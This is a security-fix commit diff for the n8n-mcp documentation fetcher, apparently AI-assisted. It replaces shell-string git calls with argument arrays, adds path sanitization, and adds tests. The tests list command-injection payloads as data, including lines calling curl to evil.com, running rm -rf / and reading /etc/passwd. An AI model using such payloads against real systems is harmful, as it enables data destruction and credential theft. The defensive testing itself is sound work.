security: improve path validation and git command safety

Enhance input validation for documentation fetcher constructor and replace
shell command execution with safer alternatives using argument arrays.

Changes:
- Add comprehensive path validation with sanitization
- Replace execSync with spawnSync using argument arrays
- Add HTTPS-only validation for repository URLs
- Extend security test coverage

Version: 2.18.6 → 2.18.7

Thanks to @ErbaZZ for responsible disclosure.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>

package.json

@@ -1,6 +1,6 @@
 {
   "name": "n8n-mcp",
-  "version": "2.18.6",
+  "version": "2.18.7",
   "description": "Integration between n8n workflow automation and Model Context Protocol (MCP)",
   "main": "dist/index.js",
   "bin": {

package.runtime.json

@@ -1,6 +1,6 @@
 {
   "name": "n8n-mcp-runtime",
-  "version": "2.18.1",
+  "version": "2.18.7",
   "description": "n8n MCP Server Runtime Dependencies Only",
   "private": true,
   "dependencies": {

src/utils/enhanced-documentation-fetcher.ts

@@ -1,7 +1,7 @@
 import { promises as fs } from 'fs';
 import path from 'path';
 import { logger } from './logger';
-import { execSync } from 'child_process';
+import { spawnSync } from 'child_process';
 
 // Enhanced documentation structure with rich content
 export interface EnhancedNodeDocumentation {
@@ -61,33 +61,133 @@ export interface DocumentationMetadata {
 
 export class EnhancedDocumentationFetcher {
   private docsPath: string;
-  private docsRepoUrl = 'https://github.com/n8n-io/n8n-docs.git';
+  private readonly docsRepoUrl = 'https://github.com/n8n-io/n8n-docs.git';
   private cloned = false;
 
   constructor(docsPath?: string) {
-    this.docsPath = docsPath || path.join(__dirname, '../../temp', 'n8n-docs');
+    // SECURITY: Validate and sanitize docsPath to prevent command injection
+    // See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01 Part 2)
+    const defaultPath = path.join(__dirname, '../../temp', 'n8n-docs');
+
+    if (!docsPath) {
+      this.docsPath = defaultPath;
+    } else {
+      // SECURITY: Block directory traversal and malicious paths
+      const sanitized = this.sanitizePath(docsPath);
+
+      if (!sanitized) {
+        logger.error('Invalid docsPath rejected in constructor', { docsPath });
+        throw new Error('Invalid docsPath: path contains disallowed characters or patterns');
+      }
+
+      // SECURITY: Verify path is absolute and within allowed boundaries
+      const absolutePath = path.resolve(sanitized);
+
+      // Block paths that could escape to sensitive directories
+      if (absolutePath.startsWith('/etc') ||
+          absolutePath.startsWith('/sys') ||
+          absolutePath.startsWith('/proc') ||
+          absolutePath.startsWith('/var/log')) {
+        logger.error('docsPath points to system directory - blocked', { docsPath, absolutePath });
+        throw new Error('Invalid docsPath: cannot use system directories');
+      }
+
+      this.docsPath = absolutePath;
+      logger.info('docsPath validated and set', { docsPath: this.docsPath });
+    }
+
+    // SECURITY: Validate repository URL is HTTPS
+    if (!this.docsRepoUrl.startsWith('https://')) {
+      logger.error('docsRepoUrl must use HTTPS protocol', { url: this.docsRepoUrl });
+      throw new Error('Invalid repository URL: must use HTTPS protocol');
+    }
+  }
+
+  /**
+   * Sanitize path input to prevent command injection and directory traversal
+   * SECURITY: Part of fix for command injection vulnerability
+   */
+  private sanitizePath(inputPath: string): string | null {
+    // SECURITY: Reject paths containing any shell metacharacters or control characters
+    // This prevents command injection even before attempting to sanitize
+    const dangerousChars = /[;&|`$(){}[\]<>'"\\#\n\r\t]/;
+    if (dangerousChars.test(inputPath)) {
+      logger.warn('Path contains shell metacharacters - rejected', { path: inputPath });
+      return null;
+    }
+
+    // Block directory traversal attempts
+    if (inputPath.includes('..') || inputPath.startsWith('.')) {
+      logger.warn('Path traversal attempt blocked', { path: inputPath });
+      return null;
+    }
+
+    return inputPath;
   }
 
   /**
    * Clone or update the n8n-docs repository
+   * SECURITY: Uses spawnSync with argument arrays to prevent command injection
+   * See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01 Part 2)
    */
   async ensureDocsRepository(): Promise<void> {
     try {
       const exists = await fs.access(this.docsPath).then(() => true).catch(() => false);
 
       if (!exists) {
-        logger.info('Cloning n8n-docs repository...');
+        logger.info('Cloning n8n-docs repository...', {
-        await fs.mkdir(path.dirname(this.docsPath), { recursive: true });
+          url: this.docsRepoUrl,
-        execSync(`git clone --depth 1 ${this.docsRepoUrl} ${this.docsPath}`, {
+          path: this.docsPath
-          stdio: 'pipe'
         });
+        await fs.mkdir(path.dirname(this.docsPath), { recursive: true });
+
+        // SECURITY: Use spawnSync with argument array instead of string interpolation
+        // This prevents command injection even if docsPath or docsRepoUrl are compromised
+        const cloneResult = spawnSync('git', [
+          'clone',
+          '--depth', '1',
+          this.docsRepoUrl,
+          this.docsPath
+        ], {
+          stdio: 'pipe',
+          encoding: 'utf-8'
+        });
+
+        if (cloneResult.status !== 0) {
+          const error = cloneResult.stderr || cloneResult.error?.message || 'Unknown error';
+          logger.error('Git clone failed', {
+            status: cloneResult.status,
+            stderr: error,
+            url: this.docsRepoUrl,
+            path: this.docsPath
+          });
+          throw new Error(`Git clone failed: ${error}`);
+        }
+
         logger.info('n8n-docs repository cloned successfully');
       } else {
-        logger.info('Updating n8n-docs repository...');
+        logger.info('Updating n8n-docs repository...', { path: this.docsPath });
-        execSync('git pull --ff-only', {
+
+        // SECURITY: Use spawnSync with argument array and cwd option
+        const pullResult = spawnSync('git', [
+          'pull',
+          '--ff-only'
+        ], {
           cwd: this.docsPath,
-          stdio: 'pipe'
+          stdio: 'pipe',
+          encoding: 'utf-8'
         });
+
+        if (pullResult.status !== 0) {
+          const error = pullResult.stderr || pullResult.error?.message || 'Unknown error';
+          logger.error('Git pull failed', {
+            status: pullResult.status,
+            stderr: error,
+            cwd: this.docsPath
+          });
+          throw new Error(`Git pull failed: ${error}`);
+        }
+
         logger.info('n8n-docs repository updated');
       }
 

tests/integration/security/command-injection-prevention.test.ts

@@ -163,4 +163,96 @@ describe('Command Injection Prevention', () => {
       }
     });
   });
+
+  describe('Git Command Injection Prevention (Issue #265 Part 2)', () => {
+    it('should reject malicious paths in constructor with shell metacharacters', () => {
+      const maliciousPaths = [
+        '/tmp/test; touch /tmp/PWNED #',
+        '/tmp/test && curl http://evil.com',
+        '/tmp/test | whoami',
+        '/tmp/test`whoami`',
+        '/tmp/test$(cat /etc/passwd)',
+        '/tmp/test\nrm -rf /',
+        '/tmp/test & rm -rf /',
+        '/tmp/test || curl evil.com',
+      ];
+
+      for (const maliciousPath of maliciousPaths) {
+        expect(() => new EnhancedDocumentationFetcher(maliciousPath)).toThrow(
+          /Invalid docsPath: path contains disallowed characters or patterns/
+        );
+      }
+    });
+
+    it('should reject paths pointing to sensitive system directories', () => {
+      const systemPaths = [
+        '/etc/passwd',
+        '/sys/kernel',
+        '/proc/self',
+        '/var/log/auth.log',
+      ];
+
+      for (const systemPath of systemPaths) {
+        expect(() => new EnhancedDocumentationFetcher(systemPath)).toThrow(
+          /Invalid docsPath: cannot use system directories/
+        );
+      }
+    });
+
+    it('should reject directory traversal attempts in constructor', () => {
+      const traversalPaths = [
+        '../../../etc/passwd',
+        '../../sensitive',
+        './relative/path',
+        '.hidden/path',
+      ];
+
+      for (const traversalPath of traversalPaths) {
+        expect(() => new EnhancedDocumentationFetcher(traversalPath)).toThrow(
+          /Invalid docsPath: path contains disallowed characters or patterns/
+        );
+      }
+    });
+
+    it('should accept valid absolute paths in constructor', () => {
+      // These should not throw
+      expect(() => new EnhancedDocumentationFetcher('/tmp/valid-docs-path')).not.toThrow();
+      expect(() => new EnhancedDocumentationFetcher('/var/tmp/n8n-docs')).not.toThrow();
+      expect(() => new EnhancedDocumentationFetcher('/home/user/docs')).not.toThrow();
+    });
+
+    it('should use default path when no path provided', () => {
+      // Should not throw with default path
+      expect(() => new EnhancedDocumentationFetcher()).not.toThrow();
+    });
+
+    it('should reject paths with quote characters', () => {
+      const quotePaths = [
+        '/tmp/test"malicious',
+        "/tmp/test'malicious",
+        '/tmp/test`command`',
+      ];
+
+      for (const quotePath of quotePaths) {
+        expect(() => new EnhancedDocumentationFetcher(quotePath)).toThrow(
+          /Invalid docsPath: path contains disallowed characters or patterns/
+        );
+      }
+    });
+
+    it('should reject paths with brackets and braces', () => {
+      const bracketPaths = [
+        '/tmp/test[malicious]',
+        '/tmp/test{a,b}',
+        '/tmp/test<redirect>',
+        '/tmp/test(subshell)',
+      ];
+
+      for (const bracketPath of bracketPaths) {
+        expect(() => new EnhancedDocumentationFetcher(bracketPath)).toThrow(
+          /Invalid docsPath: path contains disallowed characters or patterns/
+        );
+      }
+    });
+  });
 });